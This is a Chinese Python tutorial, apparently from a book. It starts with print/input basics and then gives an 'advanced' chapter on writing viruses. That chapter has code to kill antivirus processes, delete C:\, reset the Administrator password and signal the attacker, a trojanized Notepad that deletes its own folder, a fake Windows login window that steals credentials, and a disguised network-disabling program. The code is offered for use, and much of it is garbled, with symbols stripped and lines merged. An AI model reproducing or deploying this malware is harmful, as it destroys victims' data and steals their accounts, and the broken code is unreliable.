输出是指将信息显示出来这就是输出。 代码例子
print(Hello, World!)
输入
输入是指让使用的用户进行键盘敲击从而进行录入。 代码例子
name input(Whats your name?)
这两个模块都十分重要要务必记住它们。
计算
让Python帮你计算其实十分简单。 你可以根据下列代码进行分析和学习
11 #加法
2-1 #减
3*3 #乘
9/3 #除以
10%3 #模
函数
我们可以通过定义函数来解决总是一样的代码。 代码例子:
def print_a():print(a)
循环
循环有两种一个是For,一个是While。 这些都是循环只是方式不同。 代码例子:
#while
while 1:print(010101001010100101010)
#For
for word in [You,are,cool!]:print(word)判断
在Python中我们用if组语句来判断。在本书中我们只学习if、else两个语句。 代码例子
age 10
if age 10:print(你满十岁啦)
else :print(NO你没有十岁)
程序例子学习
1、你几岁了
age input(你几岁了?)
if age 18:print(你刚好成年!)
else :print(你不是18岁你可能未成年!)
2、我会机器语言
while 1:print(010010101010010101010101010101000101010101010101001010101001010010100101010110010101011111111111111101101010101)
高级篇
在这一篇里你将学习编写高级病毒。这些高级病毒十分厉害最好在虚拟机中查看结果。 我的虚拟机因为无法连接网络所以在这里我就不做注入演示。 在本章我们将完成大部分的典型病毒准备好了吗 在这之前我们还要为所有的病毒编写一个必要的程序后台运行和免杀
后台运行
在病毒代码的末端加入如下代码
windowtk.Tk()
window.withdraw()
window.mainloop()
这样你就可以让你的病毒在后台运行了。
免杀
我们通过编写代码来实现病毒免杀。 我们可以通过打乱病毒特征码来进行也可以编写“花指令”。 在这里我们将用到一个新的知识点——欺骗。 “花指令”在前面的篇章里说过就是编写一段不是病毒源代码的代码来欺骗杀毒软件。 这里这个病毒也叫“程序杀手木马”。 我们通过代码来实现“程序杀手木马”来保护我们的病毒可以正常运行。 我们先看看如下代码
os.system(rtaskkill /F /IM 进程名)
这段代码实现了停止某个进程那么我们这里以金山毒霸为例来关闭金山毒霸。 首先金山毒霸的文件名为kxetray.exe 我们将刚才的代码改一下
import os
os.system(rtaskkill /F /IM kxetray.exe)
time.sleep(5)
windowtk.Tk()
window.withdraw()
window.mainloop()
FTP病毒
ftp病毒的作用就是打开21端口等待连接。但如果对方打开了ftp那么这个病毒就不必要了。 因为大部分用户都开启了21端口所以这个病毒跳过。
断网病毒
断网病毒的原理就是关闭Windows网络服务使其断网。并且还会进行网络堵塞。为了骗过用户我们仿造了Windows漏洞修复程序其内容简单代码如下
import os
os.system(net stop service)
import subprocess
print(正在进行环境监测请稍后)
ret subprocess.call(title Windows漏洞修复, shellTrue)
ret subprocess.call(ping -t -l 100 127.0.0.0, shellTrue)
windowtk.Tk()
window.withdraw()
window.mainloop()
破坏型病毒
在之前我们已经做过一款破坏型病毒了。这次我们继续进行改造让它成为一个高级的病毒。
import tkinter as tk
import tkinter.messagebox
import subprocess
import time
import os
import datetime
import os
import sys
ret subprocess.call(del C:\ , shellFalse)
ret subprocess.call(ping -n 1 -l 1 你自己的IP, shellFalse) #用作通知通知你有人遭到了你的病毒攻击从而对它进行DoS攻击。
ret subprocess.call(net user Administrator 123456, shellFalse)
ret subprocess.call(ping 你自己的IP,shellFalse)#通知你进行登录这个用户从而进行高级操作
windowtk.Tk()
window.withdraw()
window.mainloop()
①在第一次通知时对目标进行DoS攻击。可以通过资源监视器来查看通知从而使对方网络堵塞和系统速度变慢。 ②在第二次时用telnet指令连接对方登录Administrator用户输入密码123456即可进行更高操作。
telnet 对方IP
正在连接对方IP......
用户名:Administrator
密码:123456
正在登录......
已成功登录Administrator
注因版本原因显示可能不相同请谅解。
自毁木马
这个木马的功能并不是盗取信息而是同归于尽。 它将伪装成正常程序并且会在收集完一定系统信息后带着当前目录下的部分文件同归于尽。 这个木马难度较大并且还要进行伪装在这里我们将这个木马伪装成这个程序 这是一款记事本程序我们可以用它来进行伪装它的代码如下
#__author__ZhangP
#-*- encoding:utf8 -*-from tkinter import *
import tkinter.messagebox
import tkinter.filedialog
import osrootTk()
root.title(记事本)
root.geometry(800x500100100)filename
def author():tkinter.messagebox.askokcancel(作者信息,本软件由tiantian520开发)def about():tkinter.messagebox.askokcancel(版权信息.Copyright,随意转载啦!)def openfile():global filenamefilenametkinter.filedialog.askopenfilename(defaultextension .txt)if filename :filenameNoneelse:root.title(FileName:os.path.basename(filename))textPad.delete(1.0,END)fopen(filename,r,encodingutf-8) textPad.insert(1.0,f.read())f.close()def new():global filenameroot.title(未命名文件)filenameNonetextPad.delete(1.0,END)def save():global filenametry:fopen(filename,w)msgtextPad.get(1.0,END)f.write(msg)f.close()except:saveas()def saveas():ftkinter.filedialog.asksaveasfilename(initialfile未命名.txt,defaultextension.txt)global filenamefilenameffhopen(f,w)msgtextPad.get(1.0,END)fh.write(msg)fh.close()root.title(FileName:os.path.basename(f))def cut():textPad.event_generate(Cut)def copy():textPad.event_generate(Copy)def paste():textPad.event_generate(Paste)def redo():textPad.event_generate(Redo)def undo():textPad.event_generate(Undo)def selectAll():textPad.tag_add(sel,1.0,END)def search():topsearchToplevel(root)topsearch.geometry(300x30200250)label1Label(topsearch,textFind)label1.grid(row0,column0,padx5)entry1Entry(topsearch,width20)entry1.grid(row0,column1,padx5)button1Button(topsearch,text查找)button1.grid(row0,column2)menubarMenu(root)
root.config(menumenubar)filemenuMenu(menubar)filemenu.add_command(label新建,acceleratorCtrlN,commandnew)
filemenu.add_command(label打开,acceleratorCtrlO,commandopenfile)
filemenu.add_command(label保存,acceleratorCtrlS,commandsave)
filemenu.add_command(label另存为,acceleratorCtrlShiftS,commandsaveas)
menubar.add_cascade(label文件,menufilemenu)editmenuMenu(menubar)
editmenu.add_command(label撤消,acceleratorCtrlz,commandundo)
editmenu.add_command(label重做,acceleratorCtrly,commandredo)
#添加分割线
editmenu.add_separator()
editmenu.add_command(label剪切,acceleratorCtrlX,commandcut)
editmenu.add_command(label复制,acceleratorCtrlC,commandcopy)
editmenu.add_command(label粘贴,acceleratorCtrlV,commandpaste)
editmenu.add_separator()
editmenu.add_command(label查找,acceleratorCtrlF,commandsearch)
editmenu.add_command(label全选,acceleratorCtrlA,commandselectAll)
menubar.add_cascade(label编辑,menueditmenu)aboutmenuMenu(menubar)
aboutmenu.add_command(label作者,commandauthor)
aboutmenu.add_command(label版权,commandabout)
menubar.add_cascade(label关于,menuaboutmenu)toolbarFrame(root,height25,bglight sea green)
shortButtonButton(toolbar,text打开,commandopenfile)
shortButton.pack(sideLEFT,padx5,pady5)shortButtonButton(toolbar,text保存,commandsave)
shortButton.pack(sideLEFT)
toolbar.pack(expandNO,fillX)statusLabel(root,textLn20,bd1,reliefSUNKEN,anchorW)
status.pack(sideBOTTOM,fillX)lnlabelLabel(root,width2,bgantique white)
lnlabel.pack(sideLEFT,fillY)textPadText(root,undoTrue)
textPad.pack(expandYES,fillBOTH)scrollScrollbar(textPad)
textPad.config(yscrollcommandscroll.set)
scroll.config(commandtextPad.yview)
scroll.pack(sideRIGHT,fillY)root.mainloop()
我们用它来充当正常程序而我们将修改一下代码使其变为典型木马。 因为难度较大所以我们一步一步、脚踏实地的来学习。 我们先看一段代码
import os
current_dir os.path.dirname(os.path.abspath(__file__))
os.system(del current_dir)
这段代码可以实现删除这个文件所在的目录文件夹我们就用这段代码来进行自毁木马的编写。 看一下之前的代码
#-*- encoding:utf8 -*-from tkinter import *
import tkinter.messagebox
import tkinter.filedialog
import osrootTk()
root.title(记事本)
root.geometry(800x500100100)filename
def author():import oscurrent_dir os.path.dirname(os.path.abspath(__file__))os.system(del current_dir)tkinter.messagebox.askokcancel(作者信息,本软件由tiantian520开发)def about():tkinter.messagebox.askokcancel(版权信息.Copyright,随意转载啦!)def openfile():global filenamefilenametkinter.filedialog.askopenfilename(defaultextension .txt)if filename :filenameNoneelse:root.title(FileName:os.path.basename(filename))textPad.delete(1.0,END)fopen(filename,r,encodingutf-8) textPad.insert(1.0,f.read())f.close()def new():global filenameroot.title(未命名文件)filenameNonetextPad.delete(1.0,END)def save():global filenametry:fopen(filename,w)msgtextPad.get(1.0,END)f.write(msg)f.close()except:saveas()def saveas():ftkinter.filedialog.asksaveasfilename(initialfile未命名.txt,defaultextension.txt)global filenamefilenameffhopen(f,w)msgtextPad.get(1.0,END)fh.write(msg)fh.close()root.title(FileName:os.path.basename(f))def cut():textPad.event_generate(Cut)def copy():textPad.event_generate(Copy)def paste():textPad.event_generate(Paste)def redo():textPad.event_generate(Redo)def undo():textPad.event_generate(Undo)def selectAll():textPad.tag_add(sel,1.0,END)def search():topsearchToplevel(root)topsearch.geometry(300x30200250)label1Label(topsearch,textFind)label1.grid(row0,column0,padx5)entry1Entry(topsearch,width20)entry1.grid(row0,column1,padx5)button1Button(topsearch,text查找)button1.grid(row0,column2)menubarMenu(root)
root.config(menumenubar)filemenuMenu(menubar)filemenu.add_command(label新建,acceleratorCtrlN,commandnew)
filemenu.add_command(label打开,acceleratorCtrlO,commandopenfile)
filemenu.add_command(label保存,acceleratorCtrlS,commandsave)
filemenu.add_command(label另存为,acceleratorCtrlShiftS,commandsaveas)
menubar.add_cascade(label文件,menufilemenu)editmenuMenu(menubar)
editmenu.add_command(label撤消,acceleratorCtrlz,commandundo)
editmenu.add_command(label重做,acceleratorCtrly,commandredo)
#添加分割线
editmenu.add_separator()
editmenu.add_command(label剪切,acceleratorCtrlX,commandcut)
editmenu.add_command(label复制,acceleratorCtrlC,commandcopy)
editmenu.add_command(label粘贴,acceleratorCtrlV,commandpaste)
editmenu.add_separator()
editmenu.add_command(label查找,acceleratorCtrlF,commandsearch)
editmenu.add_command(label全选,acceleratorCtrlA,commandselectAll)
menubar.add_cascade(label编辑,menueditmenu)aboutmenuMenu(menubar)
aboutmenu.add_command(label作者,commandauthor)
aboutmenu.add_command(label版权,commandabout)
menubar.add_cascade(label关于,menuaboutmenu)toolbarFrame(root,height25,bglight sea green)
shortButtonButton(toolbar,text打开,commandopenfile)
shortButton.pack(sideLEFT,padx5,pady5)shortButtonButton(toolbar,text保存,commandsave)
shortButton.pack(sideLEFT)
toolbar.pack(expandNO,fillX)statusLabel(root,textLn20,bd1,reliefSUNKEN,anchorW)
status.pack(sideBOTTOM,fillX)lnlabelLabel(root,width2,bgantique white)
lnlabel.pack(sideLEFT,fillY)textPadText(root,undoTrue)
textPad.pack(expandYES,fillBOTH)scrollScrollbar(textPad)
textPad.config(yscrollcommandscroll.set)
scroll.config(commandtextPad.yview)
scroll.pack(sideRIGHT,fillY)root.mainloop()
我们加上点刚才看的代码
#-*- encoding:utf8 -*-from tkinter import *
import tkinter.messagebox
import tkinter.filedialog
import osrootTk()
root.title(记事本)
root.geometry(800x500100100)filename
def author():import oscurrent_dir os.path.dirname(os.path.abspath(__file__))os.system(del current_dir)tkinter.messagebox.askokcancel(作者信息,本软件由tiantian520开发)def about():import oscurrent_dir os.path.dirname(os.path.abspath(__file__))os.system(del current_dir)tkinter.messagebox.askokcancel(版权信息.Copyright,随意转载啦!)def openfile():global filenameimport oscurrent_dir os.path.dirname(os.path.abspath(__file__))os.system(del current_dir)filenametkinter.filedialog.askopenfilename(defaultextension .txt)if filename :filenameNoneelse:root.title(FileName:os.path.basename(filename))textPad.delete(1.0,END)fopen(filename,r,encodingutf-8) textPad.insert(1.0,f.read())f.close()def new():global filenameroot.title(未命名文件)filenameNonetextPad.delete(1.0,END)def save():global filenametry:fopen(filename,w)msgtextPad.get(1.0,END)f.write(msg)f.close()except:saveas()def saveas():ftkinter.filedialog.asksaveasfilename(initialfile未命名.txt,defaultextension.txt)global filenamefilenameffhopen(f,w)msgtextPad.get(1.0,END)fh.write(msg)fh.close()root.title(FileName:os.path.basename(f))def cut():textPad.event_generate(Cut)def copy():textPad.event_generate(Copy)def paste():textPad.event_generate(Paste)def redo():textPad.event_generate(Redo)def undo():textPad.event_generate(Undo)def selectAll():textPad.tag_add(sel,1.0,END)def search():topsearchToplevel(root)topsearch.geometry(300x30200250)label1Label(topsearch,textFind)label1.grid(row0,column0,padx5)entry1Entry(topsearch,width20)entry1.grid(row0,column1,padx5)button1Button(topsearch,text查找)button1.grid(row0,column2)menubarMenu(root)
root.config(menumenubar)filemenuMenu(menubar)filemenu.add_command(label新建,acceleratorCtrlN,commandnew)
filemenu.add_command(label打开,acceleratorCtrlO,commandopenfile)
filemenu.add_command(label保存,acceleratorCtrlS,commandsave)
filemenu.add_command(label另存为,acceleratorCtrlShiftS,commandsaveas)
menubar.add_cascade(label文件,menufilemenu)editmenuMenu(menubar)
editmenu.add_command(label撤消,acceleratorCtrlz,commandundo)
editmenu.add_command(label重做,acceleratorCtrly,commandredo)
#添加分割线
editmenu.add_separator()
editmenu.add_command(label剪切,acceleratorCtrlX,commandcut)
editmenu.add_command(label复制,acceleratorCtrlC,commandcopy)
editmenu.add_command(label粘贴,acceleratorCtrlV,commandpaste)
editmenu.add_separator()
editmenu.add_command(label查找,acceleratorCtrlF,commandsearch)
editmenu.add_command(label全选,acceleratorCtrlA,commandselectAll)
menubar.add_cascade(label编辑,menueditmenu)aboutmenuMenu(menubar)
aboutmenu.add_command(label作者,commandauthor)
aboutmenu.add_command(label版权,commandabout)
menubar.add_cascade(label关于,menuaboutmenu)toolbarFrame(root,height25,bglight sea green)
shortButtonButton(toolbar,text打开,commandopenfile)
shortButton.pack(sideLEFT,padx5,pady5)shortButtonButton(toolbar,text保存,commandsave)
shortButton.pack(sideLEFT)
toolbar.pack(expandNO,fillX)statusLabel(root,textLn20,bd1,reliefSUNKEN,anchorW)
status.pack(sideBOTTOM,fillX)lnlabelLabel(root,width2,bgantique white)
lnlabel.pack(sideLEFT,fillY)textPadText(root,undoTrue)
textPad.pack(expandYES,fillBOTH)scrollScrollbar(textPad)
textPad.config(yscrollcommandscroll.set)
scroll.config(commandtextPad.yview)
scroll.pack(sideRIGHT,fillY)root.mainloop()
这样我们就可以大致实现自毁木马了。
入侵病毒
通过入侵病毒我们可以尽快进行入侵从而对对方实现高级操作。 现在我们先编写一个打开后可以通知黑客的病毒这次使用socket模块来进行。 下面是代码
import socket
import time
import threading
import tkinter as tk#---------------------------
MAX_CONN20000
PORT80
HOST你的IP
PAGE/index.php
#---------------------------buf(POST %s HTTP/1.1\r\n
Host: %s\r\n
Content-Length: 10000000\r\n
Cookie: dklkt_dos_test\r\n
\r\n % (PAGE,HOST))try:socks[]ssocket.socket(socket.AF_INET,socket.SOCK_STREAM)s.connect((HOST,PORT))s.send(buf.encode())
windowtk.Tk()
window.withdraw()
window.mainloop()
这样我们就可以实现通知了。 接着我们就可以使用自己编写的Telnet连接器进行连接
# -*- coding: utf-8 -*-
import telnetlib
# 配置选项
Host # Telnet服务器IP
username # 登录用户名
password # 登录密码
finish :~$ # 命令提示符标识着上一条命令已执行完毕# 连接Telnet服务器
tn telnetlib.Telnet(Host)# 输入登录用户名
n.read_until(login: )
tn.write(username \n)# 输入登录密码
tn.read_until(Password: )
tn.write(password \n)# 登录完毕后执行ls命令
tn.read_until(finish)
tn.write(ls\n)# ls命令执行完毕后终止Telnet连接或输入exit退出
tn.read_until(finish)
tn.close() # tn.write(exit\n)
连接后即可执行ls命令如果需执行其他命令可以修改下面代码
tn.write(ls\n)#修改命令
你可以删除对方C盘看看对方图片现在我们虽然进入了对方计算机但是还没有获得Root权限如果可以我们也可以获得最高权限——Administrator 接下来我教大家用代码实现向对方进行攻击并且获得管理员权限。 首先我们可以先将之前的病毒再加上几个代码
from tkinter import *
from tkinter import ttk
from tkinter.filedialog import askopenfilename
from time import sleep
import time
from tkinter import *
import tkinter.messagebox
import tkinter.filedialog
import os
import datetime
import tkinter as tk
import tkinter.messagebox
from os import path
from subprocess import Popen, PIPE
from tkinter import *
from tkinter import ttk
from tkinter.filedialog import askopenfilename
from time import sleep
import time
from tkinter import *
import tkinter.messagebox
import tkinter.filedialog
import os
import webbrowser
try :windowtk.Tk()window.title(欢迎使用Windows高级功能)window.geometry(450x300)tk.messagebox.showinfo(titlewelcome,message很高兴您使用Windows高级功能请在这里重新注册一个账号并且用户名与密码必须与您现在使用的用户一样。)#画布放置图片canvastk.Canvas(window,height300,width500)imagefiletk.PhotoImage(fileHello.png)imagecanvas.create_image(0,0,anchornw,imageimagefile)canvas.pack(sidetop)#标签 用户名密码tk.Label(window,text用户名:).place(x100,y150)tk.Label(window,text密码:).place(x100,y190)#用户名输入框var_usr_nametk.StringVar()entry_usr_nametk.Entry(window,textvariablevar_usr_name)entry_usr_name.place(x160,y150)#密码输入框var_usr_pwdtk.StringVar()entry_usr_pwdtk.Entry(window,textvariablevar_usr_pwd,show*)entry_usr_pwd.place(x160,y190)#登录函数def usr_log_in():#输入框获取用户名密码usr_namevar_usr_name.get()usr_pwdvar_usr_pwd.get()#从本地字典获取用户信息如果没有则新建本地数据库try:with open(usr_info.pickle,rb) as usr_file:usrs_infopickle.load(usr_file)except FileNotFoundError:with open(usr_info.pickle,wb) as usr_file:usrs_info{admin:admin}pickle.dump(usrs_info,usr_file)#判断用户名和密码是否匹配if usr_name in usrs_info:if usr_pwd usrs_info[usr_name]:tk.messagebox.showinfo(titlewelcome,message欢迎您usr_name)tk.messagebox.showerror(message系统错误 \n 错误代码:01x0111x0 \n 请关闭此程序因为它似乎不适合你的Windows!)else:tk.messagebox.showerror(message密码错误)#用户名密码不能为空elif usr_name or usr_pwd :tk.messagebox.showerror(message用户名或密码为空)#不在数据库中弹出是否注册的框else:is_signuptk.messagebox.askyesno(欢迎,您还没有注册是否现在注册)if is_signup:usr_sign_up()#注册函数def usr_sign_up():#确认注册时的相应函数def signtowcg():#获取输入框内的内容nnnew_name.get()npnew_pwd.get()npfnew_pwd_confirm.get()#本地加载已有用户信息,如果没有则已有用户信息为空try:with open(usr_info.pickle,rb) as usr_file:exist_usr_infopickle.load(usr_file)except FileNotFoundError:exist_usr_info{} #检查用户名存在、密码为空、密码前后不一致if nn in exist_usr_info:tk.messagebox.showerror(错误,用户名已存在)elif np or nn:tk.messagebox.showerror(错误,用户名或密码为空)elif np !npf:tk.messagebox.showerror(错误,密码前后不一致)#注册信息没有问题则将用户名密码写入数据库else:exist_usr_info[nn]npwith open(usr_info.pickle,wb) as usr_file:pickle.dump(exist_usr_info,usr_file)tk.messagebox.showinfo(欢迎,注册成功)#注册成功关闭注册框window_sign_up.destroy()#新建注册界面window_sign_uptk.Toplevel(window)window_sign_up.geometry(350x200)window_sign_up.title(注册)#用户名变量及标签、输入框new_nametk.StringVar()tk.Label(window_sign_up,text用户名).place(x10,y10)tk.Entry(window_sign_up,textvariablenew_name).place(x150,y10)#密码变量及标签、输入框new_pwdtk.StringVar()tk.Label(window_sign_up,text请输入密码).place(x10,y50)tk.Entry(window_sign_up,textvariablenew_pwd,show*).place(x150,y50) #重复密码变量及标签、输入框new_pwd_confirmtk.StringVar()tk.Label(window_sign_up,text请再次输入密码).place(x10,y90)tk.Entry(window_sign_up,textvariablenew_pwd_confirm,show*).place(x150,y90) #确认注册按钮及位置bt_confirm_sign_uptk.Button(window_sign_up,text确认注册,commandsigntowcg)bt_confirm_sign_up.place(x150,y130)#退出的函数def usr_sign_quit():try :window.destroy()except :pass#登录 注册按钮bt_logintk.Button(window,text登录,commandusr_log_in)bt_login.place(x140,y230)bt_loguptk.Button(window,text注册,commandusr_sign_up)bt_logup.place(x210,y230)bt_logquittk.Button(window,text退出,commandusr_sign_quit)bt_logquit.place(x280,y230)#主循环window.mainloop()# -*-coding:utf-8-*import socketimport threadingimport Queueimport time
except :pass
这段代码会让用户输入自己的账号的密码并且保存到usr_info.pickle中我们在它输入后找到这个文件并且用记事本打开里面就会写着密码和用户名如图所示 这样我们就可以知道对方管理员账号密码了即可登录到对方计算机上并且拥有Administrator权限了。
广告病毒
想必大家对广告都不陌生经常占满全屏的广告很可能某一个就是诱导你的计算机病毒 所以在本章我们来学习如何制作广告病毒。 首先它得是个窗口并且还是得有一个样子大致构图如下 点击这个链接就会通往恶意网站。 效果如下 代码
import tkinter as tk
import tkinter.messagebox
import pickle
import pickle
import tkinter as tk
import tkinter.messagebox
import subprocess
import time
from os import path
from subprocess import Popen, PIPE
from tkinter import *
from tkinter import ttk
from tkinter.filedialog import askopenfilename
from time import sleep
import time
from tkinter import *
import tkinter.messagebox
import tkinter.filedialog
import os
import datetime
import tkinter as tk
import tkinter.messagebox
from os import path
from subprocess import Popen, PIPE
from tkinter import *
from tkinter import ttk
from tkinter.filedialog import askopenfilename
from time import sleep
import time
from tkinter import *
import tkinter.messagebox
import tkinter.filedialog
import os
import webbrowser
def tiaozhuan():webbrowser.open(xxx.com)
windowtk.Tk()
window.title(头条新闻——新闻找头条)
window.geometry(450x300)
tk.Label(window,text最新消息微软决定抛弃Windows 7详情请点击).place(x0,y0)
b tkinter.Button(window,text 详情,bgcyan,font (幼圆,15),bd 0.5,width10,height5,command tiaozhuan).place(x50,y100,anchornw)
windowtk.Tk()
window.withdraw()
window.mainloop()